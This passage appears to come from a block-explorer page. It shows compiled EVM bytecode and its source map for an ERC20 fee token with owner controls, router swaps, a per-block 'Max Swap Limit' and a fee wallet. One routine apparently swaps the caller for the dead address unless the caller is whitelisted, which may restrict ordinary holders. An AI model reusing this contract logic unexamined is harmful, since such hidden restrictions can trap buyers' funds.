518363ffffffff1660e01b81526004016105eb929190611443565b602060405180830381600087803b15801561060557600080fd5b505af1158015610619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063d9190611241565b601060036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b600061029f6106726107bd565b8484610875565b6106816107bd565b6000546001600160a01b039081169116146106ae5760405162461bcd60e51b81526004016103a790611614565b601054610100900460ff16156106d65760405162461bcd60e51b81526004016103a790611743565b6011546001600160a01b031663f305d71947306106f281610357565b6000806106fd6103fa565b426040518863ffffffff1660e01b815260040161071f9695949392919061145d565b6060604051808303818588803b15801561073857600080fd5b505af115801561074c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077191906113bf565b50506010805461ff001962ff00001990911662010000171661010017905550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107e75760405162461bcd60e51b81526004016103a7906116d7565b6001600160a01b03821661080d5760405162461bcd60e51b81526004016103a79061155a565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061086890859061177a565b60405180910390a3505050565b6001600160a01b03831661089b5760405162461bcd60e51b81526004016103a790611692565b6001600160a01b0382166108c15760405162461bcd60e51b81526004016103a790611517565b600081116108e15760405162461bcd60e51b81526004016103a790611649565b60006108ee84848461093c565b90506108fc84848484610ba7565b50505050565b600081848411156109265760405162461bcd60e51b81526004016103a791906114c4565b506000610933848661193b565b95945050505050565b600080610947610cec565b905060006109536103fa565b6001600160a01b0316866001600160a01b03161415801561098d57506109776103fa565b6001600160a01b0316856001600160a01b031614155b15610b7e576109be60646109b8600a54600d54116109ad576006546109b1565b6008545b8790610d2b565b90610d70565b6010549091506001600160a01b038781166301000000909204161480156109f357506011546001600160a01b03868116911614155b8015610a1857506001600160a01b03851660009081526002602052604090205460ff16155b15610a5d5743600e5414610a30576000600f5543600e555b83600f6000828254610a4291906117cd565b9091555050600d8054906000610a5783611952565b91905055505b6010546001600160a01b03868116630100000090920416148015610a8a57506001600160a01b0386163014155b15610aec57610a97610db2565b600f541080610aa8575043600e5414155b610ac45760405162461bcd60e51b81526004016103a79061171b565b610ae960646109b8600b54600d5411610adf576007546109b1565b6009548790610d2b565b90505b6000610af730610357565b60105490915060ff16158015610b2157506010546001600160a01b03878116630100000090920416145b8015610b35575060105462010000900460ff165b8015610b445750600c54600d54115b15610b7c57600554811115610b7057610b70610b6b86610b6684600554610f88565b610f88565b610f9d565b47610b7a47611139565b505b505b6001600160a01b03821661dead1461093357610933610b9c87611177565b83610342878561117a565b8015610c1f5730600090815260046020526040902054610bc79082611186565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c1690859061177a565b60405180910390a35b6001600160a01b038416600090815260046020526040902054610c4290836111b5565b6001600160a01b038516600090815260046020526040902055610c87610c6883836111b5565b6001600160a01b03851660009081526004602052604090205490611186565b6001600160a01b0380851660008181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cd185856111b5565b604051610cde919061177a565b60405180910390a350505050565b600060016000610cfa6107bd565b6001600160a01b0316815260208101919091526040016000205460ff16610d235761dead6102c5565b6102c56107bd565b600082610d3a575060006102a3565b6000610d46838561191c565b905082610d5385836117e5565b1461034b5760405162461bcd60e51b81526004016103a7906115d3565b600061034b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111f7565b604080516002808252606082018352600092839291906020830190803683375050601154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610e1b57600080fd5b505afa158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190611241565b81600081518110610e7457634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610eb657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260115460405163d06ca61f60e01b8152600092919091169063d06ca61f90610f02906729a2241af62c00009086906004016114a3565b60006040518083038186803b158015610f1a57600080fd5b505afa158015610f2e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f569190810190611300565b905080600181518110610f7957634e487b7160e01b600052603260045260246000fd5b60200260200101519250505090565b6000818311610f97578261034b565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fed57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104157600080fd5b505afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190611241565b8160018151811061109a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546110c091309116846107c1565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f9908590600090869030904290600401611783565b600060405180830381600087803b15801561111357600080fd5b505af1158015611127573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611173573d6000803e3d6000fd5b5050565b90565b600061034b82846117cd565b60008061119383856117cd565b90508381101561034b5760405162461bcd60e51b81526004016103a79061159c565b600061034b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610902565b600081836112185760405162461bcd60e51b81526004016103a791906114c4565b50600061093384866117e5565b600060208284031215611236578081fd5b813561034b81611999565b600060208284031215611252578081fd5b815161034b81611999565b6000806040838503121561126f578081fd5b823561127a81611999565b9150602083013561128a81611999565b809150509250929050565b6000806000606084860312156112a9578081fd5b83356112b481611999565b925060208401356112c481611999565b929592945050506040919091013590565b600080604083850312156112e7578182fd5b82356112f281611999565b946020939093013593505050565b60006020808385031215611312578182fd5b825167ffffffffffffffff80821115611329578384fd5b818501915085601f83011261133c578384fd5b81518181111561134e5761134e611983565b838102604051601f19603f8301168101818110858211171561137257611372611983565b604052828152858101935084860182860187018a1015611390578788fd5b8795505b838610156113b2578051855260019590950194938601938601611394565b5098975050505050505050565b6000806000606084860312156113d3578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156114245781516001600160a01b0316875295820195908201906001016113ff565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000838252604060208301526114bc60408301846113ec565b949350505050565b6000602080835283518082850152825b818110156114f0578581018301518582016040015282016114d4565b818111156115015783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252600e908201526d13585e0814ddd85c08131a5b5a5d60921b604082015260600190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600086825285602083015260a060408301526117a260a08301866113ec565b6001600160a01b0394909416606083015250608001529392505050565b60ff91909116815260200190565b600082198211156117e0576117e061196d565b500190565b60008261180057634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116118175750611842565b8187048211156118295761182961196d565b8086161561183657918102915b9490941c938002611808565b94509492505050565b600061034b60001960ff8516846000826118675750600161034b565b816118745750600061034b565b816001811461188a5760028114611894576118c1565b600191505061034b565b60ff8411156118a5576118a561196d565b6001841b9150848211156118bb576118bb61196d565b5061034b565b5060208310610133831016604e8410600b84101617156118f4575081810a838111156118ef576118ef61196d565b61034b565b6119018484846001611805565b8086048211156119135761191361196d565b02949350505050565b60008160001904831182151516156119365761193661196d565b500290565b60008282101561194d5761194d61196d565b500390565b60006000198214156119665761196661196d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146119ae57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1ddb0e0d964665d00d91924a28e0558a2d10de60b7aaed42341b4d016360d1764736f6c63430008010033
Deployed Bytecode Sourcemap
3897:7938:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6314:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7150:161;;;;;;;;;;-1:-1:-1;7150:161:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;6591:95::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7319:316::-;;;;;;;;;;-1:-1:-1;7319:316:0;;;;;:::i;:::-;;:::i;6500:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6694:120::-;;;;;;;;;;-1:-1:-1;6694:120:0;;;;;:::i;:::-;;:::i;3740:148::-;;;;;;;;;;;;;:::i;:::-;;3526:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6405:87::-;;;;;;;;;;;;;:::i;5659:294::-;;;;;;;;;;;;;:::i;6822:167::-;;;;;;;;;;-1:-1:-1;6822:167:0;;;;;:::i;:::-;;:::i;5998:308::-;;;;;;;;;;;;;:::i;6997:145::-;;;;;;;;;;-1:-1:-1;6997:145:0;;;;;:::i;:::-;;:::i;6314:83::-;6384:5;;;;;;;;;;;;-1:-1:-1;;;6384:5:0;;;;6314:83;:::o;7150:161::-;7225:4;7242:39;7251:12;:10;:12::i;:::-;7265:7;7274:6;7242:8;:39::i;:::-;-1:-1:-1;7299:4:0;7150:161;;;;;:::o;6591:95::-;6644:7;4321:13;4265:1;4321:2;:13;:::i;:::-;4308:26;;:10;:26;:::i;:::-;6664:14;;6591:95;:::o;7319:316::-;7417:4;7434:36;7444:6;7452:9;7463:6;7434:9;:36::i;:::-;7482:123;7491:6;7499:12;:10;:12::i;:::-;7513:91;7553:6;7513:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7513:21:0;;;;;;:13;:21;;;;;;7535:12;:10;:12::i;:::-;-1:-1:-1;;;;;7513:35:0;;;;;;;;;;;;-1:-1:-1;7513:35:0;;;:91;:39;:91::i;:::-;7482:8;:123::i;:::-;-1:-1:-1;7623:4:0;7319:316;;;;;;:::o;6500:83::-;4265:1;6500:83;:::o;6694:120::-;-1:-1:-1;;;;;6787:19:0;6760:7;6787:19;;;:10;:19;;;;;;;6694:120::o;3740:148::-;3663:12;:10;:12::i;:::-;3653:6;;-1:-1:-1;;;;;3653:6:0;;;:22;;;3645:67;;;;-1:-1:-1;;;3645:67:0;;;;;;;:::i;:::-;;;;;;;;;3847:1:::1;3831:6:::0;;3810:40:::1;::::0;-1:-1:-1;;;;;3831:6:0;;::::1;::::0;3810:40:::1;::::0;3847:1;;3810:40:::1;3878:1;3861:19:::0;;-1:-1:-1;;;;;;3861:19:0::1;::::0;;3740:148::o;3526:79::-;3564:7;3591:6;-1:-1:-1;;;;;3591:6:0;3526:79;:::o;6405:87::-;6477:7;;;;;;;;;;;;-1:-1:-1;;;6477:7:0;;;;6405:87;:::o;5659:294::-;3663:12;:10;:12::i;:::-;3653:6;;-1:-1:-1;;;;;3653:6:0;;;:22;;;3645:67;;;;-1:-1:-1;;;3645:67:0;;;;;;;:::i;:::-;5714:10:::1;:67:::0;;-1:-1:-1;;;;;;5714:67:0::1;5738:42;5714:67;::::0;;;;5792:53:::1;::::0;5809:4:::1;::::0;-1:-1:-1;;;;;5824:10:0::1;4321:13;4265:1;4321:2;:13;:::i;:::-;4308:26;::::0;:10:::1;:26;:::i;5792:53::-;5879:10;;;;;;;;;-1:-1:-1::0;;;;;5879:10:0::1;-1:-1:-1::0;;;;;5879:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5867:44:0::1;;5920:4;5927:10;;;;;;;;;-1:-1:-1::0;;;;;5927:10:0::1;-1:-1:-1::0;;;;;5927:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5867:78;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5856:8;;:89;;;;;-1:-1:-1::0;;;;;5856:89:0::1;;;;;-1:-1:-1::0;;;;;5856:89:0::1;;;;;;5659:294::o:0;6822:167::-;6900:4;6917:42;6927:12;:10;:12::i;:::-;6941:9;6952:6;6917:9;:42::i;5998:308::-;3663:12;:10;:12::i;:::-;3653:6;;-1:-1:-1;;;;;3653:6:0;;;:22;;;3645:67;;;;-1:-1:-1;;;3645:67:0;;;;;;;:::i;:::-;6062:13:::1;::::0;::::1;::::0;::::1;;;6061:14;6053:49;;;;-1:-1:-1::0;;;6053:49:0::1;;;;;;;:::i;:::-;6113:10;::::0;-1:-1:-1;;;;;6113:10:0::1;:26;6147:21;6178:4;6184:24;6178:4:::0;6184:9:::1;:24::i;:::-;6209:1;6211::::0;6213:7:::1;:5;:7::i;:::-;6221:15;6113:124;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6248:12:0::1;:19:::0;;-1:-1:-1;;;;6248:19:0;;::::1;::::0;::::1;6278:20;6248:19;6278:20;::::0;;-1:-1:-1;5998:308:0:o;6997:145::-;-1:-1:-1;;;;;7105:20:0;;;7078:7;7105:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;6997:145::o;2215:98::-;2295:10;2215:98;:::o;7643:337::-;-1:-1:-1;;;;;7736:19:0;;7728:68;;;;-1:-1:-1;;;7728:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7815:21:0;;7807:68;;;;-1:-1:-1;;;7807:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7886:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;;:38;;;7940:32;;;;;7918:6;;7940:32;:::i;:::-;;;;;;;;7643:337;;;:::o;9567:413::-;-1:-1:-1;;;;;9655:18:0;;9647:68;;;;-1:-1:-1;;;9647:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9734:18:0;;9726:66;;;;-1:-1:-1;;;9726:66:0;;;;;;;:::i;:::-;9818:1;9811:4;:8;9803:62;;;;-1:-1:-1;;;9803:62:0;;;;;;;:::i;:::-;9876:14;9893:30;9906:4;9912;9918;9893:12;:30::i;:::-;9876:47;;9934:38;9947:4;9953;9959;9965:6;9934:12;:38::i;:::-;9567:413;;;;:::o;1394:190::-;1480:7;1516:12;1508:6;;;;1500:29;;;;-1:-1:-1;;;1500:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1540:9:0;1552:5;1556:1;1552;:5;:::i;:::-;1540:17;1394:190;-1:-1:-1;;;;;1394:190:0:o;7988:1571::-;8068:7;8088:18;8109:15;:13;:15::i;:::-;8088:36;;8126:14;8166:7;:5;:7::i;:::-;-1:-1:-1;;;;;8158:15:0;:4;-1:-1:-1;;;;;8158:15:0;;;:34;;;;;8185:7;:5;:7::i;:::-;-1:-1:-1;;;;;8177:15:0;:4;-1:-1:-1;;;;;8177:15:0;;;8158:34;8154:1261;;;8218:74;8288:3;8218:65;8238:15;;8228:9;;:25;8227:55;;8268:14;;8227:55;;;8255:12;;8227:55;8218:4;;:8;:65::i;:::-;:69;;:74::i;:::-;8321:8;;8209:83;;-1:-1:-1;;;;;;8313:16:0;;;8321:8;;;;;8313:16;:47;;;;-1:-1:-1;8349:10:0;;-1:-1:-1;;;;;8333:27:0;;;8349:10;;8333:27;;8313:47;:75;;;;-1:-1:-1;;;;;;8366:22:0;;;;;;:16;:22;;;;;;;;8364:24;8313:75;8309:329;;;8426:12;8412;;:26;8409:142;;8480:1;8462:15;:19;8519:12;8504;:27;8409:142;8588:4;8569:15;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;8611:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;8309:329;8665:8;;-1:-1:-1;;;;;8657:16:0;;;8665:8;;;;;8657:16;:40;;;;-1:-1:-1;;;;;;8677:20:0;;8692:4;8677:20;;8657:40;8654:276;;;8744:14;:12;:14::i;:::-;8726:15;;:32;:62;;;;8776:12;8762;;:26;;8726:62;8718:89;;;;-1:-1:-1;;;8718:89:0;;;;;;;:::i;:::-;8837:77;8910:3;8837:68;8857:16;;8847:9;;:26;8846:58;;8889:15;;8846:58;;;8875:13;;8837:4;;:8;:68::i;:77::-;8828:86;;8654:276;8946:16;8965:24;8983:4;8965:9;:24::i;:::-;9009:9;;8946:43;;-1:-1:-1;9009:9:0;;9008:10;:30;;;;-1:-1:-1;9030:8:0;;-1:-1:-1;;;;;9022:16:0;;;9030:8;;;;;9022:16;9008:30;:46;;;;-1:-1:-1;9042:12:0;;;;;;;9008:46;:80;;;;;9070:18;;9058:9;;:30;9008:80;9004:400;;;9123:14;;9112:8;:25;9109:111;;;9156:64;9173:46;9180:4;9186:32;9193:8;9203:14;;9186:6;:32::i;:::-;9173:6;:46::i;:::-;9156:16;:64::i;:::-;9256:21;9336:33;9347:21;9336:10;:33::i;:::-;9004:400;;8154:1261;;-1:-1:-1;;;;;9428:29:0;;9450:6;9428:29;9425:102;;9459:68;9468:18;9481:4;9468:12;:18::i;:::-;9488:10;9500:26;9513:4;9519:6;9500:12;:26::i;9988:444::-;10091:10;;10088:159;;10162:4;10143:25;;;;:10;:25;;;;;;:37;;10173:6;10143:29;:37::i;:::-;10134:4;10115:25;;;;:10;:25;;;;;;;:65;;;;10198:37;;-1:-1:-1;;;;;10198:37:0;;;;;;;10228:6;;10198:37;:::i;:::-;;;;;;;;10088:159;-1:-1:-1;;;;;10276:16:0;;;;;;:10;:16;;;;;;:26;;10297:4;10276:20;:26::i;:::-;-1:-1:-1;;;;;10257:16:0;;;;;;:10;:16;;;;;:45;10332:38;10353:16;:4;10362:6;10353:8;:16::i;:::-;-1:-1:-1;;;;;10332:16:0;;;;;;:10;:16;;;;;;;:20;:38::i;:::-;-1:-1:-1;;;;;10313:16:0;;;;;;;:10;:16;;;;;:57;;;;10386:38;;;10407:16;:4;10416:6;10407:8;:16::i;:::-;10386:38;;;;;;:::i;:::-;;;;;;;;9988:444;;;;:::o;10908:153::-;10954:7;10981:15;:29;10997:12;:10;:12::i;:::-;-1:-1:-1;;;;;10981:29:0;;;;;;;;;;;;-1:-1:-1;10981:29:0;;;;:71;;11045:6;10981:71;;;11021:12;:10;:12::i;1592:246::-;1650:7;1674:6;1670:47;;-1:-1:-1;1704:1:0;1697:8;;1670:47;1727:9;1739:5;1743:1;1739;:5;:::i;:::-;1727:17;-1:-1:-1;1772:1:0;1763:5;1767:1;1727:17;1763:5;:::i;:::-;:10;1755:56;;;;-1:-1:-1;;;1755:56:0;;;;;;;:::i;1846:132::-;1904:7;1931:39;1935:1;1938;1931:39;;;;;;;;;;;;;;;;;:3;:39::i;11069:296::-;11160:16;;;11174:1;11160:16;;;;;;;;11116:7;;;;11160:16;11174:1;11160:16;;;;;;;;-1:-1:-1;;11197:10:0;;:17;;;-1:-1:-1;;;11197:17:0;;;;11136:40;;-1:-1:-1;;;;;;11197:10:0;;;;:15;;-1:-1:-1;11197:17:0;;;;;;;;;;;;;;:10;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11187:4;11192:1;11187:7;;;;;;-1:-1:-1;;;11187:7:0;;;;;;;;;;;;;;:27;-1:-1:-1;;;;;11187:27:0;;;-1:-1:-1;;;;;11187:27:0;;;;;11243:4;11225;11230:1;11225:7;;;;;;-1:-1:-1;;;11225:7:0;;;;;;;;;-1:-1:-1;;;;;11225:23:0;;;:7;;;;;;;;;:23;11286:10;;:40;;-1:-1:-1;;;11286:40:0;;11259:24;;11286:10;;;;;:24;;:40;;11311:8;;11321:4;;11286:40;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11286:40:0;;;;;;;;;;;;:::i;:::-;11259:67;;11344:10;11355:1;11344:13;;;;;;-1:-1:-1;;;11344:13:0;;;;;;;;;;;;;;;11337:20;;;;11069:296;:::o;10440:102::-;10500:7;10528:1;10526;:3;10525:9;;10533:1;10525:9;;;-1:-1:-1;10531:1:0;10440:102;-1:-1:-1;10440:102:0:o;11373:459::-;5052:9;:16;;-1:-1:-1;;5052:16:0;5064:4;5052:16;;;11472::::1;::::0;;11486:1:::1;11472:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11472:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11472:16:0::1;11448:40;;11517:4;11499;11504:1;11499:7;;;;;;-1:-1:-1::0;;;11499:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11499:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11543:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;11543:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;11499:7;;11543:17;;;;;:10;:17;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11533:4;11538:1;11533:7;;;;;;-1:-1:-1::0;;;11533:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11533:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;11603:10:::1;::::0;11571:54:::1;::::0;11588:4:::1;::::0;11603:10:::1;11616:8:::0;11571::::1;:54::i;:::-;11636:10;::::0;:188:::1;::::0;-1:-1:-1;;;11636:188:0;;-1:-1:-1;;;;;11636:10:0;;::::1;::::0;:61:::1;::::0;:188:::1;::::0;11712:8;;11636:10:::1;::::0;11751:4;;11778::::1;::::0;11798:15:::1;::::0;11636:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5091:9:0;:17;;-1:-1:-1;;5091:17:0;;;-1:-1:-1;;;;11373:459:0:o;10550:99::-;10613:10;;10605:36;;-1:-1:-1;;;;;10613:10:0;;;;10605:36;;;;;10634:6;;10613:10;10605:36;10613:10;10605:36;10634:6;10613:10;10605:36;;;;;;;;;;;;;;;;;;;;;10550:99;:::o;10795:105::-;10887:4;10795:105::o;10657:130::-;10730:7;10765:13;10772:6;10765:4;:13;:::i;1063:179::-;1121:7;;1153:5;1157:1;1153;:5;:::i;:::-;1141:17;;1182:1;1177;:6;;1169:46;;;;-1:-1:-1;;;1169:46:0;;;;;;;:::i;1250:136::-;1308:7;1335:43;1339:1;1342;1335:43;;;;;;;;;;;;;;;;;:3;:43::i;1986:189::-;2072:7;2107:12;2100:5;2092:28;;;;-1:-1:-1;;;2092:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2131:9:0;2143:5;2147:1;2143;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151:23;1183:33;1210:5;1183:33;:::i;:::-;1235:5;-1:-1:-1;1292:2:1;1277:18;;1264:32;1305:35;1264:32;1305:35;:::i;:::-;1057:366;;1359:7;;-1:-1:-1;;;1413:2:1;1398:18;;;;1385:32;;1057:366::o;1428:327::-;;;1557:2;1545:9;1536:7;1532:23;1528:32;1525:2;;;1578:6;1570;1563:22;1525:2;1622:9;1609:23;1641:33;1668:5;1641:33;:::i;:::-;1693:5;1745:2;1730:18;;;;1717:32;;-1:-1:-1;;;1515:240:1:o;1760:1162::-;;1886:2;1929;1917:9;1908:7;1904:23;1900:32;1897:2;;;1950:6;1942;1935:22;1897:2;1988:9;1982:16;2017:18;2058:2;2050:6;2047:14;2044:2;;;2079:6;2071;2064:22;2044:2;2122:6;2111:9;2107:22;2097:32;;2167:7;2160:4;2156:2;2152:13;2148:27;2138:2;;2194:6;2186;2179:22;2138:2;2228;2222:9;2250:2;2246;2243:10;2240:2;;;2256:18;;:::i;:::-;2303:2;2299;2295:11;2335:2;2329:9;2398:2;2394:7;2389:2;2385;2381:11;2377:25;2369:6;2365:38;2453:6;2441:10;2438:22;2433:2;2421:10;2418:18;2415:46;2412:2;;;2464:18;;:::i;:::-;2500:2;2493:22;2550:18;;;2584:15;;;;-1:-1:-1;2619:11:1;;;2649;;;2645:20;;2642:33;-1:-1:-1;2639:2:1;;;2693:6;2685;2678:22;2639:2;2720:6;2711:15;;2735:156;2749:2;2746:1;2743:9;2735:156;;;2806:10;;2794:23;;2767:1;2760:9;;;;;2837:12;;;;2869;;2735:156;;;-1:-1:-1;2910:6:1;1866:1056;-1:-1:-1;;;;;;;;1866:1056:1:o;2927:316::-;;;;3084:2;3072:9;3063:7;3059:23;3055:32;3052:2;;;3105:6;3097;3090:22;3052:2;3139:9;3133:16;3123:26;;3189:2;3178:9;3174:18;3168:25;3158:35;;3233:2;3222:9;3218:18;3212:25;3202:35;;3042:201;;;;;:::o;3248:469::-;;3345:5;3339:12;3372:6;3367:3;3360:19;3398:4;3427:2;3422:3;3418:12;3411:19;;3464:2;3457:5;3453:14;3485:3;3497:195;3511:6;3508:1;3505:13;3497:195;;;3576:13;;-1:-1:-1;;;;;3572:39:1;3560:52;;3632:12;;;;3667:15;;;;3608:1;3526:9;3497:195;;;-1:-1:-1;3708:3:1;;3315:402;-1:-1:-1;;;;;3315:402:1:o;3722:203::-;-1:-1:-1;;;;;3886:32:1;;;;3868:51;;3856:2;3841:18;;3823:102::o;3930:304::-;-1:-1:-1;;;;;4160:15:1;;;4142:34;;4212:15;;4207:2;4192:18;;4185:43;4092:2;4077:18;;4059:175::o;4239:607::-;-1:-1:-1;;;;;4598:15:1;;;4580:34;;4645:2;4630:18;;4623:34;;;;4688:2;4673:18;;4666:34;;;;4731:2;4716:18;;4709:34;;;;4780:15;;;4774:3;4759:19;;4752:44;4560:3;4812:19;;4805:35;;;;4529:3;4514:19;;4496:350::o;4851:187::-;5016:14;;5009:22;4991:41;;4979:2;4964:18;;4946:92::o;5043:364::-;;5276:6;5265:9;5258:25;5319:2;5314;5303:9;5299:18;5292:30;5339:62;5397:2;5386:9;5382:18;5374:6;5339:62;:::i;:::-;5331:70;5248:159;-1:-1:-1;;;;5248:159:1:o;5412:603::-;;5553:2;5582;5571:9;5564:21;5614:6;5608:13;5657:6;5652:2;5641:9;5637:18;5630:34;5682:4;5695:140;5709:6;5706:1;5703:13;5695:140;;;5804:14;;;5800:23;;5794:30;5770:17;;;5789:2;5766:26;5759:66;5724:10;;5695:140;;;5853:6;5850:1;5847:13;5844:2;;;5923:4;5918:2;5909:6;5898:9;5894:22;5890:31;5883:45;5844:2;-1:-1:-1;5999:2:1;5978:15;-1:-1:-1;;5974:29:1;5959:45;;;;6006:2;5955:54;;5533:482;-1:-1:-1;;;5533:482:1:o;6020:399::-;6222:2;6204:21;;;6261:2;6241:18;;;6234:30;6300:34;6295:2;6280:18;;6273:62;-1:-1:-1;;;6366:2:1;6351:18;;6344:33;6409:3;6394:19;;6194:225::o;6424:398::-;6626:2;6608:21;;;6665:2;6645:18;;;6638:30;6704:34;6699:2;6684:18;;6677:62;-1:-1:-1;;;6770:2:1;6755:18;;6748:32;6812:3;6797:19;;6598:224::o;6827:351::-;7029:2;7011:21;;;7068:2;7048:18;;;7041:30;7107:29;7102:2;7087:18;;7080:57;7169:2;7154:18;;7001:177::o;7183:397::-;7385:2;7367:21;;;7424:2;7404:18;;;7397:30;7463:34;7458:2;7443:18;;7436:62;-1:-1:-1;;;7529:2:1;7514:18;;7507:31;7570:3;7555:19;;7357:223::o;7585:356::-;7787:2;7769:21;;;7806:18;;;7799:30;7865:34;7860:2;7845:18;;7838:62;7932:2;7917:18;;7759:182::o;7946:405::-;8148:2;8130:21;;;8187:2;8167:18;;;8160:30;8226:34;8221:2;8206:18;;8199:62;-1:-1:-1;